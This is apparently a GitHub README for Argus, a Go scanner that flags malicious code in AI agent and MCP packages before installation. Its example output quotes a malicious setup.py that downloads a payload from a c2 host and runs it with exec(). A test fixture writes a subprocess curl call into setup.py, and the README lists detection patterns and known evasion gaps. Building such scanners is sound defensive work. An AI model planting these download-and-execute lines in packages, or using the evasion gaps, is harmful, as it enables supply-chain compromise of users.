argusgate/argus

GitHub: argusgate/argus

Stars: 1 | Forks: 0

# Argus **Security gateway for AI agent and MCP package installation.** [![CI](https://img.shields.io/github/actions/workflow/status/argusgate/argus/ci.yml?branch=main&label=CI)](https://github.com/argusgate/argus/actions/workflows/ci.yml) [![Latest release](https://img.shields.io/github/v/release/argusgate/argus)](https://github.com/argusgate/argus/releases/latest) [![Go version](https://img.shields.io/github/go-mod/go-version/argusgate/argus)](go.mod) [![Licence](https://img.shields.io/github/license/argusgate/argus)](LICENSE) ## Quick start # Install brew tap argusgate/tap && brew install argus # Scan before installing argus scan ./my-package && pip install ./my-package argus scan package.tar.gz && npm install ## Table of contents - [The Problem](#the-problem) - [Key Features](#key-features) - [Installation](#installation) - [GitHub Actions](#github-actions) - [Usage](#usage) - [Agent Integration](#agent-integration) - [Rule Coverage](#rule-coverage) - [Architecture](#architecture) - [Development](#development) - [Known Limitations](#known-limitations-v2-roadmap) - [Contributing](#contributing) - [Licence](#licence) ## The Problem Modern AI agent and MCP ecosystems encourage installing packages from the internet with a single command. Manifest checks (checksums, signatures) verify *authenticity* — they do not tell you what the code actually does. An attacker can publish a legitimate-looking package that exfiltrates credentials, opens a reverse shell, or executes a remote payload at install time. Argus closes that gap. ## Key Features - **Go AST analysis** — precise call-site detection for dangerous Go APIs with no false positives from string matching; import aliases are resolved to full package paths - **Regex + entropy scanning** — Python, JavaScript, TypeScript, Ruby, Rust, and shell scripts scanned for dangerous patterns, hardcoded secrets, and high-entropy strings - **Two severity tiers** — `CRITICAL` blocks installation with a prompt; `WARNING` is logged but non-blocking - **Nested archive scanning** — `.tar.gz` and `.zip` files embedded inside a package are automatically extracted and scanned (up to 2 levels deep) - **Agent install interception** — optional `argus shell`, PATH shims, and Claude Code hook support protect common package-manager commands that agents run directly - **Zip-slip protection** — archive extraction rejects path traversal attempts - **Extraction size cap** — 100 MiB per-file ceiling on archive extraction guards against zip-bomb payloads; source files larger than 1 MiB are skipped during SAST scanning - **CI-safe** — non-interactive sessions auto-decline critical findings and exit 1; no silent installs in pipelines - **Zero external dependencies** — standard library only ## Installation ### Homebrew (recommended for macOS) brew tap argusgate/tap brew install argus ### Pre-built binary Download the binary for your platform from the [releases page](https://github.com/argusgate/argus/releases) and place it on your `PATH`: # macOS (Apple Silicon) curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-darwin-arm64 chmod +x argus && sudo mv argus /usr/local/bin/ # macOS (Intel) curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-darwin-amd64 chmod +x argus && sudo mv argus /usr/local/bin/ # Linux (x86_64) curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-linux-amd64 chmod +x argus && sudo mv argus /usr/local/bin/ ### Build from source Requires Go 1.22 or later. git clone https://github.com/argusgate/argus.git cd argus go build -o argus ./cmd/argus/ sudo mv argus /usr/local/bin/ ### go install go install github.com/argusgate/argus/cmd/argus@latest ## GitHub Actions Add Argus to any workflow to scan a package before installation: - name: Scan package with Argus uses: argusgate/argus@v0.1.0 with: path: ./my-package Critical findings fail the workflow (exit 1). Warnings are logged but non-blocking. ## Usage argus scan `` may be: | Format | Example | |--------|---------| | Local directory | `argus scan ./my-package` | | `.tar.gz` archive | `argus scan package-1.2.3.tar.gz` | | `.zip` archive | `argus scan package-1.2.3.zip` | | Python wheel (`.whl`) | `argus scan package-1.2.3-py3-none-any.whl` | | Rust crate (`.crate`) | `argus scan package-1.2.3.crate` | | Ruby gem (`.gem`) | `argus scan package-1.2.3.gem` | Argus exits 0 when the scan is clean, 1 when critical findings are present. This makes it composable with any package manager: argus scan ./my-package && pip install ./my-package argus scan package.tar.gz && npm install ### Suppressing findings Package-local suppressions are not trusted by default. A scanned package can contain `.argusignore` or inline `argus-ignore` comments, but Argus treats package source as untrusted and does not let the package suppress its own findings. User-controlled policy files are planned for trusted local suppressions and org-level allowlists. ## Agent Integration Manual `argus scan` remains the core primitive, but agents often run package managers directly. Argus adds three low-friction layers for those workflows: # Temporary protected session argus shell npm install lodash pip install requests # Persistent PATH shims argus shim install # Claude Code Bash hook argus hook install claude # Verify setup argus doctor The shims intercept common install commands such as `pip install`, `uv add`, `npm install`, `pnpm add`, `yarn add`, `cargo add`, `go install`, and `gem install`, scan local paths or resolved package archives, then delegate to the real package manager when clean. PATH shims are default-path protection, not a sandbox. Absolute binary paths, `python -m pip`, `curl | sh`, direct `git clone && make install`, and deliberate `PATH` resets can bypass local interception. Keep CI scanning enabled as a backup enforcement point. ### Example — clean package argus: running SAST scan on ./my-package $ ### Example — critical findings argus: running SAST scan on suspicious-mcp-server.tar.gz ARGUS SAST — 3 critical finding(s) in suspicious-mcp-server.tar.gz CRITICAL setup.py:7 subprocess usage > subprocess.Popen(["curl", c2, "-o", "/tmp/.x"], shell=False) CRITICAL setup.py:8 exec() usage > exec(open("/tmp/.x").read()) CRITICAL src/utils.py:4 OpenAI API key > SECRET_KEY = "sk-aBcDeFgHiJkLmNoPqRsTuVwXyZ123456789" WARNING setup.py:6 raw IP address WARNING src/utils.py:11 SSL certificate verification disabled Scan anyway? [y/N]: Type `y` to override or press Enter to abort. In non-interactive environments (CI/CD pipelines) the prompt is skipped and the process exits with code 1. ## Rule Coverage ### Go (AST-based) | Rule | Calls Matched | Severity | |------|--------------|----------| | exec.Command usage | `exec.Command`, `exec.CommandContext` | CRITICAL | | os.StartProcess usage | `os.StartProcess` | CRITICAL | | syscall.Exec usage | `syscall.Exec`, `syscall.ForkExec` | CRITICAL | | plugin.Open usage | `plugin.Open` | CRITICAL | | unsafe package usage | Any selector on the `unsafe` package | CRITICAL | | net.Dial usage | `net.Dial`, `net.DialContext`, `net.DialTCP`, `net.DialUDP` | WARNING | | http outbound request | `http.Get`, `http.Post`, `http.PostForm`, `http.Head` | WARNING | Import aliases are resolved to their full import path, so `import ex "os/exec"; ex.Command(...)` is caught identically to `exec.Command(...)`. ### Python | Rule | Pattern | Severity | |------|---------|----------| | eval() usage | `eval(` | CRITICAL | | exec() usage | `exec(` | CRITICAL | | os.system() usage | `os.system(` | CRITICAL | | subprocess usage | `subprocess.call/run/Popen(` | CRITICAL | | pty.spawn() usage | `pty.spawn(` | CRITICAL | | pickle deserialisation | `pickle.loads(`, `pickle.load(` | CRITICAL | | unsafe yaml.load() | `yaml.load(` without `SafeLoader` | CRITICAL | | Hardcoded secret | `password/secret/api_key/token = "..."` | CRITICAL | | AWS access key | `AKIA...` | CRITICAL | | GitHub PAT | `ghp_...` | CRITICAL | | OpenAI API key | `sk-...` | CRITICAL | | getattr indirection | `getattr(os/subprocess/sys/__builtins__, ...)` | CRITICAL | | getattr with concatenated attribute | `getattr(x, "ev"+"al")` | WARNING | | Hex/unicode escape obfuscation | 4+ consecutive `\xNN` escapes | CRITICAL | | Dynamic import | `importlib.import_module(` | WARNING | | SSL verification disabled | `verify=False` | WARNING | | Raw IP address | Dotted-decimal address (public ranges only) | WARNING | ### Ruby (`.rb`, `.rake`, `.gemspec`) | Rule | Pattern | Severity | |------|---------|----------| | eval() usage | `eval(` | CRITICAL | | exec() usage | `exec(` | CRITICAL | | system() usage | `system(` | CRITICAL | | spawn() usage | `spawn(` | CRITICAL | | IO.popen usage | `IO.popen(` | CRITICAL | | Open3 usage | `Open3.popen*/capture*/pipeline` | CRITICAL | | Marshal deserialisation | `Marshal.load(`, `Marshal.restore(` | CRITICAL | | Unsafe YAML.load() | `YAML.load(` without `safe_load`/`permitted_classes` | CRITICAL | | Backtick shell execution | `` `cmd` `` | CRITICAL | | Shell execution via %x | `%x{cmd}` and variants | CRITICAL | | Hardcoded secret | `password/secret/api_key/token = "..."` | CRITICAL | | AWS access key | `AKIA...` | CRITICAL | | GitHub PAT | `ghp_...` | CRITICAL | | OpenAI API key | `sk-...` | CRITICAL | | open() pipe | `open("\| cmd")` | WARNING | | Dynamic dispatch via send() | `send(` | WARNING | | SSL certificate verification disabled | `VERIFY_NONE` | WARNING | | Raw IP address | Dotted-decimal address (public ranges only) | WARNING | ### Rust (`.rs`) | Rule | Pattern | Severity | |------|---------|----------| | unsafe block | `unsafe {` | CRITICAL | | process::Command usage | `Command::new(` | CRITICAL | | Hardcoded secret | `password/secret/api_key/token = "..."` | CRITICAL | | AWS access key | `AKIA...` | CRITICAL | | GitHub PAT | `ghp_...` | CRITICAL | | OpenAI API key | `sk-...` | CRITICAL | | build.rs present | any `build.rs` file (Cargo compile-time execution) | WARNING | | FFI extern block | `extern "C" {` | WARNING | | File embedding macro | `include_bytes!(`, `include_str!(` | WARNING | | Raw IP address | Dotted-decimal address (public ranges only) | WARNING | `build.rs` is flagged unconditionally — Cargo executes it at compile time before installation completes, making it a compile-time code-execution vector regardless of content. ### JavaScript / TypeScript | Rule | Pattern | Severity | |------|---------|----------| | eval() usage | `eval(` | CRITICAL | | exec() usage | `exec(` | CRITICAL | | child_process usage | `require('child_process')` | CRITICAL | | new Function() usage | `new Function(` | CRITICAL | | vm.runInNewContext() usage | `vm.runInNewContext(` | CRITICAL | | Hardcoded secret | `password/secret/api_key/token = "..."` | CRITICAL | | AWS access key | `AKIA...` | CRITICAL | | GitHub PAT | `ghp_...` | CRITICAL | | OpenAI API key | `sk-...` | CRITICAL | | SSL verification disabled | `verify=false` | WARNING | | Raw IP address | Dotted-decimal address (public ranges only) | WARNING | ### Shell (`.sh`, `.bash`) | Rule | Pattern | Severity | |------|---------|----------| | eval usage | `eval ` | CRITICAL | | exec usage | `exec ` | CRITICAL | | Hardcoded secret | `password/secret/api_key/token=...` | CRITICAL | | Raw IP address | Dotted-decimal address (public ranges only) | WARNING | ### All languages | Rule | Detection | Severity | |------|-----------|----------| | High-entropy string | Shannon entropy ≥ 4.8 on assigned string literals of 32+ characters (`x = "..."`); pure hex strings (SHAs, UUIDs) excluded | WARNING | Private and loopback IP ranges (RFC 1918, `127.x`, `10.x`, `192.168.x`, `172.16–31.x`) are excluded from the raw IP rule. ## Architecture argus scan │ ├── 1. prepareWorkDir — extract archive to temp dir, or use directory as-is │ ├── expandNestedArchives — recursively unpacks .tar.gz/.zip (max 2 levels) │ └── sanitisePath — rejects zip-slip path traversal attempts │ ├── 2. scanner.Scan(dir) │ │ │ └── fs.WalkDir — for each recognised source file: │ ├── .go → GoASTScanner │ │ ├── go/parser → AST walk │ │ └── on parse failure → RegexScanner fallback │ ├── .py → RegexScanner (pyRules) │ ├── .js / .ts / .mjs → RegexScanner (jsRules) │ ├── .rb / .rake / .gemspec → RegexScanner (rubyRules) │ ├── .rs → RustScanner (rustRules + build.rs flag) │ └── .sh / .bash → RegexScanner (shellRules) │ └── + high-entropy assignment pass on every file │ ├── 3. printReport — CRITICAL findings to stderr with snippets │ ├── 4. confirm (if HasCritical) │ ├── TTY → prompt user [y/N] │ └── non-TTY → auto-decline, exit 1 │ └── 5. Exit 0 (clean) / Exit 1 (blocked) caller is responsible for invoking the package manager ### Project structure argus/ ├── cmd/ │ └── argus/ │ ├── scan.go — CLI entry point, archive extraction, scan flow │ └── scan_test.go — integration tests ├── pkg/ │ └── scanner/ │ ├── sast.go — Scanner interface, GoASTScanner, RegexScanner, Scan() │ └── sast_test.go — unit tests for all rules and edge cases ├── go.mod ├── LICENSE └── README.md ### Key types type Severity string const ( Critical Severity = "CRITICAL" Warning Severity = "WARNING" ) type Finding struct { File string // path relative to scanned package root Line int // 1-based line number Rule string // human-readable rule name Snippet string // offending source line, trimmed Severity Severity } type Report struct { PackageDir string Findings []Finding HasCritical bool } type Scanner interface { Scan(path string, content []byte) ([]Finding, error) } ## Development ### Prerequisites - Go 1.22 or later ### Build go build -o argus ./cmd/argus/ ### Run tests go test ./... ### Cross-compile for all platforms GOOS=darwin GOARCH=arm64 go build -o dist/argus-darwin-arm64 ./cmd/argus/ GOOS=darwin GOARCH=amd64 go build -o dist/argus-darwin-amd64 ./cmd/argus/ GOOS=linux GOARCH=amd64 go build -o dist/argus-linux-amd64 ./cmd/argus/ GOOS=linux GOARCH=arm64 go build -o dist/argus-linux-arm64 ./cmd/argus/ GOOS=windows GOARCH=amd64 go build -o dist/argus-windows-amd64.exe ./cmd/argus/ ### Test with a real package # Happy path — scan a large, clean Python project git clone https://github.com/pallets/flask /tmp/flask-test ./argus scan /tmp/flask-test # Malicious fixture — mimics real supply chain attack patterns mkdir -p /tmp/mal-pkg/src echo 'import subprocess; subprocess.Popen(["curl","203.0.113.1"])' > /tmp/mal-pkg/setup.py echo 'import pickle; pickle.loads(data)' > /tmp/mal-pkg/src/utils.py ./argus scan /tmp/mal-pkg ## Known Limitations (V2 roadmap) The following evasion techniques are not caught by the current rule set. They are documented here to be explicit about coverage boundaries: | Technique | Example | |-----------|---------| | Split secret across variables | `k1="sk-abc"; k2="xyz"` | | High-entropy secret as positional argument | `connect("sk-realkey...")` — entropy only fires on assignments (`x = "..."`) | Taint-flow analysis is required for reliable detection of this technique. ## Licence Copyright (C) 2026 Argus This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public Licence as published by the Free Software Foundation, either version 3 of the Licence, or (at your option) any later version. For commercial use — including embedding Argus in proprietary products or offering it as a hosted service — a commercial licence is required. Open an issue or start a discussion in this repository.
标签:EVTX分析